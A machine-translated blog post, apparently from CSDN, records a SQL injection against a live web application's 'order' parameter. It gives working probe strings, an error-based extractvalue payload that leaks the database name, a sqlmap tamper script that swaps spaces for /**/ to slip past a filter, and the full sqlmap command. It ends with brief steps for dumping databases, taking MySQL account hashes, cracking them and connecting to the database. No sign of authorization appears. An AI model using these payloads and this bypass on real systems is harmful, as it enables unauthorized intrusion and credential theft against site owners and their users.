Lembre-se de uma análise de injeção de SQL e ignore [1]

O seguinte é do projeto de hoje, basta gravá-lo

injeção manual

Adicionar erro sql de aspas simples

A instrução sql é a seguinte, pode-se observar que o parâmetro id originalmente não estava colocado entre aspas

SELECT DISTINCT u.* FROM t_user u WHERE u.name like '%1%' and u.account like '%1%' and u.state = ?  order by id' desc  limit 0,20

Depois de muitas tentativas, o uso do sqlmap ainda não conseguiu injetar

Exclua os parâmetros solicitados sem afetar o teste, o teste manual é o seguinte

order=id'			 报错
order=id' and 1=1    未报错
order=id'+and+1=1    未报错,按理说多了个单引号就会引发报错,但是这里没有,说明有限制

Tente usar o comentário sql /**/ em vez de um espaço, e um erro será relatado, indicando que a instrução inserida foi trazida com sucesso

order=id'/**/and/**/1=1

Em seguida, continue a construir instruções de consulta, tente usar extractvalue para consulta de erro e obtenha com êxito o nome do banco de dados atual ^ecph_ps^

order=id/**/and/**/extractvalue(1,concat('^',(select/**/database()),'^'))/**/#

Então aqui está a maneira de ignorar, usar /**/ em vez de espaços, escrever instruções de violação, continuar a usar a injeção sqlamp, replaceSpace.py é o seguinte

#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with plus ('+')

    Notes:
        * Is this any useful? The plus get's url-encoded by sqlmap engine invalidating the query afterwards
        * This tamper script works against all databases

    >>> tamper('SELECT id FROM users')
    'SELECT+id+FROM+users'
    """

    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    #retVal += "+"
                    retVal += "/**/"
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:
                #retVal += "+"
                retVal += "/**/"
                continue

            retVal += payload[i]

    return retVal
sqlmap.py -r r.txt -v 3 --level 5 --tamper=D:\3-安全工具\漏洞检测与利用\web漏洞\sqlmap\tamper\replaceSpace.py --technique=E

injeção bem sucedida

obter banco de dados

Obtenha o hash da conta mysql

descriptografar

Se a porta do banco de dados estiver aberta, você poderá conectar

Acho que você gosta

Origin blog.csdn.net/qq_44159028/article/details/132019351
Recomendado
Clasificación